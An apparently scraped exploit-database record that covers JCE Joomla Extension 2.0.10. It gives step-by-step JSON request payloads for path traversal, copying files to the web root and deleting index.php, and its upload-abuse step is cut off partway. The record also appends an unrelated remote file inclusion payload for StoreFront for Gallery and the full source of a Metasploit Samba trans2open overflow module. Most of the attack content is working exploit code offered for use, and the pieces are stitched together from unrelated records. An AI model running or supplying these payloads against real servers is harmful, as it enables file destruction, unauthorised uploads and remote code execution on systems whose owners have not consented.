ID 1337DAY-ID-16782 Type zdt Reporter AmnPardaz Modified 2011-08-28T00:00:00
Description
Exploit for php platform in category web applications
########################## www.BugReport.ir
#######################################
#
# AmnPardaz Security Research Team
#
# Title: JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities
# Vendor: www.joomlacontenteditor.net
# Exploit: Available
# Vulnerable Version: 2.0.10 (Image Manager 1.5.7.13, Media Manager
1.5.6.3, Template Manager 1.5.5, File Manager 1.5.4.1 & prior versions
also may be affected)
# Impact: High
# Original Advisory: http://www.bugreport.ir/index_78.htm
# Fix: N/A
###################################################################################
####################
1. Description:
####################
JCE is an extension for Joomla!, that provides you with a set of
wysiwyg editor tools that makes the job of writing articles for your
Joomla! site a little bit easier.
In a nutshell, it provides access to many of the features you may
be used to using in Word or OpenOffice etc.
####################
2. Vulnerabilities:
####################
2.1. Path Traversal Flaws. Path Traversal in "Image Manager",
"Media Manager", "Template Manager" and "File Manager" section.
2.1.1. Exploit:
Check the exploit/POC section.
2.2. Path Manipulation Flaws. Path Manipulation in "Image Manager",
"Media Manager", "Template Manager", "File Manager" section. Attackers
can delete any file or upload files to all the directories of the server.
2.2.1. Exploit:
Check the exploit/POC section.
2.3. Unsafe function Flaws. Attackers can use unsafe function
called "folderRename" for changing Image type extension (.jpg, .gif,
.png & etc.) to any extension like .htaccess or .php in "Image Manager",
"Media Manager", "Template Manager" and "File Manager" section.
2.3.1. Exploit:
Check the exploit/POC section.
####################
3. Exploits/PoCs:
####################
Original Exploit URL: http://www.bugreport.ir/78/exploit.htm
3.1. Path Traversal Flaws. Path Traversal in "Image Manager",
"Media Manager", "Template Manager" and "File Manager" section.
-------------
Path Traversal and see all directories:
Step 1 +--> Click on root (left bar)
Step 2 +--> Use Proxy (like burp) for changing path:
json={"fn":"getItems","args":["/","all",0,""]}
to
json={"fn":"getItems","args":["../../","all",0,""]}
-------------
3.2. Path Manipulation Flaws. Path Manipulation in "Image Manager",
"Media Manager", "Template Manager", "File Manager" section. Attackers
can delete any file or upload files to all the directories of the server.
-------------
For uploading file:
Step 1 +--> Upload a file with image type extension like azizi.jpg
Step 2 +--> Click on root (left bar)
Step 3 +--> Use Proxy (like burp) and change "json" parameter
to json={"fn":"fileCopy","args":["/azizi.jpg","../../"]}
Now azizi.jpg copied to root directory.
For deleting file:
Step 1 +--> Click on root (left bar)
Step 2 +--> Use Proxy (like burp) and change "json" parameter
to json={"fn":"fileDelete","args":"../../index.php"}
Now index.php has been deleted.
-------------
3.3. Unsafe function Flaws. Attackers can use unsafe function for
changing Image type extension (.jpg, .gif, .png & etc.) to any extension
like .htaccess or .php in "Image Manager", "Media Manager", "Template
Manager" and "File Manager" section.
-------------
For uploading file with executable extension:
Step 1 +--> Upload a file with image type extension like azizi.jpg
Step 2 +--> Click on root (left bar)
Step 3 +--> Use Proxy (like burp) and change "json" p
####################
4. Solution:
####################
Restricting and granting only trusted users having access to
resources and wait for vender patch.
####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com
# 0day.today [2018-01-02] #
{"published": "2011-08-28T00:00:00", "id": "1337DAY-ID-16782", "cvss": {"score": 0.0, "vector": "NONE"}, "history": [{"differentElements": ["sourceHref", "sourceData", "href"], "edition": 1, "lastseen": "2016-04-19T23:39:21", "bulletin": {"published": "2011-08-28T00:00:00", "id": "1337DAY-ID-16782", "cvss": {"score": 0.0, "vector": "NONE"}, "history": [], "enchantments": {"score": {"value": 9.4, "modified": "2016-04-19T23:39:21"}}, "hash": "a1c8fca4bb27b8008efb3c8a41d235854276d8424db83b88754ff67430cdd472", "description": "Exploit for php platform in category web applications", "type": "zdt", "lastseen": "2016-04-19T23:39:21", "edition": 1, "title": "JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities", "href": "http://0day.today/exploit/description/16782", "modified": "2011-08-28T00:00:00", "bulletinFamily": "exploit", "viewCount": 0, "cvelist": [], "sourceHref": "http://0day.today/exploit/16782", "references": [], "reporter": "AmnPardaz", "sourceData": "########################## www.BugReport.ir\r\n#######################################\r\n#\r\n# AmnPardaz Security Research Team\r\n#\r\n# Title: JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities\r\n# Vendor: www.joomlacontenteditor.net\r\n# Exploit: Available\r\n# Vulnerable Version: 2.0.10 (Image Manager 1.5.7.13, Media Manager\r\n1.5.6.3, Template Manager 1.5.5, File Manager 1.5.4.1 & prior versions\r\nalso may be affected)\r\n# Impact: High\r\n# Original Advisory: http://www.bugreport.ir/index_78.htm\r\n# Fix: N/A\r\n###################################################################################\r\n \r\n####################\r\n1. Description:\r\n####################\r\n \r\n JCE is an extension for Joomla!, that provides you with a set of\r\nwysiwyg editor tools that makes the job of writing articles for your\r\nJoomla! site a little bit easier.\r\n In a nutshell, it provides access to many of the features you may\r\nbe used to using in Word or OpenOffice etc.\r\n \r\n####################\r\n2. Vulnerabilities:\r\n####################\r\n \r\n 2.1. Path Traversal Flaws. Path Traversal in \"Image Manager\",\r\n\"Media Manager\", \"Template Manager\" and \"File Manager\" section.\r\n 2.1.1. Exploit:\r\n Check the exploit/POC section.\r\n \r\n 2.2. Path Manipulation Flaws. Path Manipulation in \"Image Manager\",\r\n\"Media Manager\", \"Template Manager\", \"File Manager\" section. Attackers\r\ncan delete any file or upload files to all the directories of the server.\r\n 2.2.1. Exploit:\r\n Check the exploit/POC section.\r\n \r\n 2.3. Unsafe function Flaws. Attackers can use unsafe function\r\ncalled \"folderRename\" for changing Image type extension (.jpg, .gif,\r\n.png & etc.) to any extension like .htaccess or .php in \"Image Manager\",\r\n\"Media Manager\", \"Template Manager\" and \"File Manager\" section.\r\n 2.3.1. Exploit:\r\n Check the exploit/POC section.\r\n \r\n####################\r\n3. Exploits/PoCs:\r\n####################\r\n \r\nOriginal Exploit URL: http://www.bugreport.ir/78/exploit.htm\r\n \r\n 3.1. Path Traversal Flaws. Path Traversal in \"Image Manager\",\r\n\"Media Manager\", \"Template Manager\" and \"File Manager\" section.\r\n -------------\r\n Path Traversal and see all directories:\r\n Step 1 +--> Click on root (left bar)\r\n Step 2 +--> Use Proxy (like burp) for changing path:\r\n \r\n json={\"fn\":\"getItems\",\"args\":[\"/\",\"all\",0,\"\"]} \r\n to \r\n json={\"fn\":\"getItems\",\"args\":[\"../../\",\"all\",0,\"\"]}\r\n \r\n -------------\r\n \r\n 3.2. Path Manipulation Flaws. Path Manipulation in \"Image Manager\",\r\n\"Media Manager\", \"Template Manager\", \"File Manager\" section. Attackers\r\ncan delete any file or upload files to all the directories of the server.\r\n -------------\r\n For uploading file:\r\n Step 1 +--> Upload a file with image type extension like azizi.jpg\r\n Step 2 +--> Click on root (left bar)\r\n Step 3 +--> Use Proxy (like burp) and change \"json\" parameter\r\nto json={\"fn\":\"fileCopy\",\"args\":[\"/azizi.jpg\",\"../../\"]}\r\n \r\n Now azizi.jpg copied to root directory.\r\n \r\n \r\n For deleting file:\r\n Step 1 +--> Click on root (left bar)\r\n Step 2 +--> Use Proxy (like burp) and change \"json\" parameter\r\nto json={\"fn\":\"fileDelete\",\"args\":\"../../index.php\"}\r\n \r\n Now index.php has been deleted.\r\n -------------\r\n \r\n 3.3. Unsafe function Flaws. Attackers can use unsafe function for\r\nchanging Image type extension (.jpg, .gif, .png & etc.) to any extension\r\nlike .htaccess or .php in \"Image Manager\", \"Media Manager\", \"Template\r\nManager\" and \"File Manager\" section.\r\n -------------\r\n For uploading file with executable extension:\r\n Step 1 +--> Upload a file with image type extension like azizi.jpg\r\n Step 2 +--> Click on root (left bar)\r\n Step 3 +--> Use Proxy (like burp) and change \"json\" p\r\n \r\n####################\r\n4. Solution:\r\n####################\r\n \r\n Restricting and granting only trusted users having access to\r\nresources and wait for vender patch.\r\n \r\n####################\r\n5. Credit:\r\n####################\r\nAmnPardaz Security Research & Penetration Testing Group\r\nContact: admin[4t}bugreport{d0t]ir\r\nwww.BugReport.ir\r\nwww.AmnPardaz.com\r\n\r\n\n\n# 0day.today [2016-04-19] #", "hashmap": [{"hash": "1c2bec5cbc1837b9b2875ceaf2303909", "key": "sourceData"}, {"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "6b8890501feca2b3c6bdccef37d01d8b", "key": "sourceHref"}, {"hash": "7501604c89860a9e350fa28f354c71bb", "key": "published"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "e4e9c0cb609cdb712f0677ab4e0d1355", "key": "title"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "d7919d7f9440863f515d9186201c8a87", "key": "reporter"}, {"hash": "b3de9da93cfed0a30605c6d083c39d01", "key": "href"}, {"hash": "7501604c89860a9e350fa28f354c71bb", "key": "modified"}, {"hash": "8a1b9d67edd161eba6df1d6d4a1ba4bc", "key": "description"}], "objectVersion": "1.0"}}], "description": "Exploit for php platform in category web applications", "hash": "9e2f3c769bd822870f294f8d7bf7a31e539f8ab850df007ca18abfa650e16aa0", "enchantments": {"score": {"value": 0.6, "vector": "NONE", "modified": "2018-01-02T19:03:48"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:16782"]}], "modified": "2018-01-02T19:03:48"}, "vulnersScore": 0.6}, "type": "zdt", "lastseen": "2018-01-02T19:03:48", "edition": 2, "title": "JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities", "href": "https://0day.today/exploit/description/16782", "modified": "2011-08-28T00:00:00", "bulletinFamily": "exploit", "viewCount": 4, "cvelist": [], "sourceHref": "https://0day.today/exploit/16782", "references": [], "reporter": "AmnPardaz", "sourceData": "########################## www.BugReport.ir\r\n#######################################\r\n#\r\n# AmnPardaz Security Research Team\r\n#\r\n# Title: JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities\r\n# Vendor: www.joomlacontenteditor.net\r\n# Exploit: Available\r\n# Vulnerable Version: 2.0.10 (Image Manager 1.5.7.13, Media Manager\r\n1.5.6.3, Template Manager 1.5.5, File Manager 1.5.4.1 & prior versions\r\nalso may be affected)\r\n# Impact: High\r\n# Original Advisory: http://www.bugreport.ir/index_78.htm\r\n# Fix: N/A\r\n###################################################################################\r\n \r\n####################\r\n1. Description:\r\n####################\r\n \r\n JCE is an extension for Joomla!, that provides you with a set of\r\nwysiwyg editor tools that makes the job of writing articles for your\r\nJoomla! site a little bit easier.\r\n In a nutshell, it provides access to many of the features you may\r\nbe used to using in Word or OpenOffice etc.\r\n \r\n####################\r\n2. Vulnerabilities:\r\n####################\r\n \r\n 2.1. Path Traversal Flaws. Path Traversal in \"Image Manager\",\r\n\"Media Manager\", \"Template Manager\" and \"File Manager\" section.\r\n 2.1.1. Exploit:\r\n Check the exploit/POC section.\r\n \r\n 2.2. Path Manipulation Flaws. Path Manipulation in \"Image Manager\",\r\n\"Media Manager\", \"Template Manager\", \"File Manager\" section. Attackers\r\ncan delete any file or upload files to all the directories of the server.\r\n 2.2.1. Exploit:\r\n Check the exploit/POC section.\r\n \r\n 2.3. Unsafe function Flaws. Attackers can use unsafe function\r\ncalled \"folderRename\" for changing Image type extension (.jpg, .gif,\r\n.png & etc.) to any extension like .htaccess or .php in \"Image Manager\",\r\n\"Media Manager\", \"Template Manager\" and \"File Manager\" section.\r\n 2.3.1. Exploit:\r\n Check the exploit/POC section.\r\n \r\n####################\r\n3. Exploits/PoCs:\r\n####################\r\n \r\nOriginal Exploit URL: http://www.bugreport.ir/78/exploit.htm\r\n \r\n 3.1. Path Traversal Flaws. Path Traversal in \"Image Manager\",\r\n\"Media Manager\", \"Template Manager\" and \"File Manager\" section.\r\n -------------\r\n Path Traversal and see all directories:\r\n Step 1 +--> Click on root (left bar)\r\n Step 2 +--> Use Proxy (like burp) for changing path:\r\n \r\n json={\"fn\":\"getItems\",\"args\":[\"/\",\"all\",0,\"\"]} \r\n to \r\n json={\"fn\":\"getItems\",\"args\":[\"../../\",\"all\",0,\"\"]}\r\n \r\n -------------\r\n \r\n 3.2. Path Manipulation Flaws. Path Manipulation in \"Image Manager\",\r\n\"Media Manager\", \"Template Manager\", \"File Manager\" section. Attackers\r\ncan delete any file or upload files to all the directories of the server.\r\n -------------\r\n For uploading file:\r\n Step 1 +--> Upload a file with image type extension like azizi.jpg\r\n Step 2 +--> Click on root (left bar)\r\n Step 3 +--> Use Proxy (like burp) and change \"json\" parameter\r\nto json={\"fn\":\"fileCopy\",\"args\":[\"/azizi.jpg\",\"../../\"]}\r\n \r\n Now azizi.jpg copied to root directory.\r\n \r\n \r\n For deleting file:\r\n Step 1 +--> Click on root (left bar)\r\n Step 2 +--> Use Proxy (like burp) and change \"json\" parameter\r\nto json={\"fn\":\"fileDelete\",\"args\":\"../../index.php\"}\r\n \r\n Now index.php has been deleted.\r\n -------------\r\n \r\n 3.3. Unsafe function Flaws. Attackers can use unsafe function for\r\nchanging Image type extension (.jpg, .gif, .png & etc.) to any extension\r\nlike .htaccess or .php in \"Image Manager\", \"Media Manager\", \"Template\r\nManager\" and \"File Manager\" section.\r\n -------------\r\n For uploading file with executable extension:\r\n Step 1 +--> Upload a file with image type extension like azizi.jpg\r\n Step 2 +--> Click on root (left bar)\r\n Step 3 +--> Use Proxy (like burp) and change \"json\" p\r\n \r\n####################\r\n4. Solution:\r\n####################\r\n \r\n Restricting and granting only trusted users having access to\r\nresources and wait for vender patch.\r\n \r\n####################\r\n5. Credit:\r\n####################\r\nAmnPardaz Security Research & Penetration Testing Group\r\nContact: admin[4t}bugreport{d0t]ir\r\nwww.BugReport.ir\r\nwww.AmnPardaz.com\r\n\r\n\n\n# 0day.today [2018-01-02] #", "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "8a1b9d67edd161eba6df1d6d4a1ba4bc", "key": "description"}, {"hash": "d7f4256b728fd195ee807c2fe48ec062", "key": "href"}, {"hash": "7501604c89860a9e350fa28f354c71bb", "key": "modified"}, {"hash": "7501604c89860a9e350fa28f354c71bb", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "d7919d7f9440863f515d9186201c8a87", "key": "reporter"}, {"hash": "cf0fcdf3a0287b2fd70d8cb47635fde9", "key": "sourceData"}, {"hash": "dac4d74fd795e26c58203f2cca17a2b2", "key": "sourceHref"}, {"hash": "e4e9c0cb609cdb712f0677ab4e0d1355", "key": "title"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}], "objectVersion": "1.3"}
{"securityvulns": [{"lastseen": "2018-08-31T11:10:21", "bulletinFamily": "software", "description": "StoreFront for Gallery (GALLERY_BASEDIR) Remote File Inclusion Vulnerabilities\r\n\r\nD.Script: http://www.dalton.net/ppstorefront/ppstorefront.zip\r\n\r\nDiscovered by: Alkomandoz Hacker\r\n\r\nHomepage: http://Www.asb-may.net\r\n\r\nExploit:\r\n\r\nmods/business_functions.php?GALLERY_BASEDIR=Shell\r\n\r\nmods/ui_functions.php?GALLERY_BASEDIR=Shell\r\n\r\nGreetz To: Asb-May.Net/bb\r\n\r\n# milw0rm.com [2007-04-16]", "modified": "2007-04-19T00:00:00", "published": "2007-04-19T00:00:00", "id": "SECURITYVULNS:DOC:16782", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:16782", "title": "StoreFront for Gallery (GALLERY_BASEDIR) Remote File Inclusion Vulnerabilities", "type": "securityvulns", "cvss": {"score": 0.0, "vector": "NONE"}}], "metasploit": [{"lastseen": "2019-11-30T08:08:15", "bulletinFamily": "exploit", "description": "This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of exploiting the bug on Mac OS X PowerPC systems.\n", "modified": "2018-09-15T23:54:45", "published": "2006-02-04T20:40:25", "id": "MSF:EXPLOIT/OSX/SAMBA/TRANS2OPEN", "href": "", "type": "metasploit", "title": "Samba trans2open Overflow (Mac OS X PPC)", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = GreatRanking\n\n include Msf::Exploit::Remote::SMB::Client\n include Msf::Exploit::Brute\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Samba trans2open Overflow (Mac OS X PPC)',\n 'Description' => %q{\n This exploits the buffer overflow found in Samba versions\n 2.2.0 to 2.2.8. This particular module is capable of\n exploiting the bug on Mac OS X PowerPC systems.\n },\n 'Author' => [ 'hdm', 'jduck' ],\n 'References' =>\n [\n [ 'CVE', '2003-0201' ],\n [ 'OSVDB', '4469' ],\n [ 'BID', '7294' ],\n [ 'URL', 'https://seclists.org/bugtraq/2003/Apr/103' ]\n ],\n 'Privileged' => true,\n 'Payload' =>\n {\n 'Space' => 1024,\n 'BadChars' => \"\\x00\",\n 'MinNops' => 512,\n },\n 'Platform' => 'osx',\n 'Arch' => ARCH_PPC,\n 'Targets' =>\n [\n [ 'Samba 2.2.x - Bruteforce',\n {\n # Not necessary on PPC\n # 'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack\n 'Offset' => 1195,\n 'Bruteforce' =>\n {\n 'Start' => { 'Ret' => 0xbffffdfc },\n 'Stop' => { 'Ret' => 0xbfa00000 },\n 'Step' => 512\n }\n }\n ]\n ],\n 'DisclosureDate' => 'Apr 7 2003',\n 'DefaultTarget' => 0))\n\n register_options(\n [\n Opt::RPORT(139)\n ])\n end\n\n # Need to perform target detection\n def autofilter\n false\n end\n\n def brute_exploit(addrs)\n\n curr_ret = addrs['Ret']\n begin\n print_status(\"Trying return address 0x%.8x...\" % curr_ret)\n\n connect\n smb_login\n\n # 1988 is required for findrecv shellcode\n pattern = rand_text_english(1988)\n\n # This stream covers the framepointer and the return address\n off = target['Offset']\n pattern[off, 64] = [curr_ret].pack('N') * 16\n\n # Stuff the shellcode into the request\n pattern[3, payload.encoded.length] = payload.encoded\n\n trans =\n \"\\x00\\x04\\x08\\x20\\xff\\x53\\x4d\\x42\\x32\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"+\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\"+\n \"\\x64\\x00\\x00\\x00\\x00\\xd0\\x07\\x0c\\x00\\xd0\\x07\\x0c\\x00\\x00\\x00\\x00\"+\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd0\\x07\\x43\\x00\\x0c\\x00\\x14\\x08\\x01\"+\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"+\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\"+\n pattern\n\n sock.put(trans)\n handler\n disconnect\n\n rescue EOFError\n rescue => e\n print_error(e.to_s)\n end\n\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/osx/samba/trans2open.rb"}]}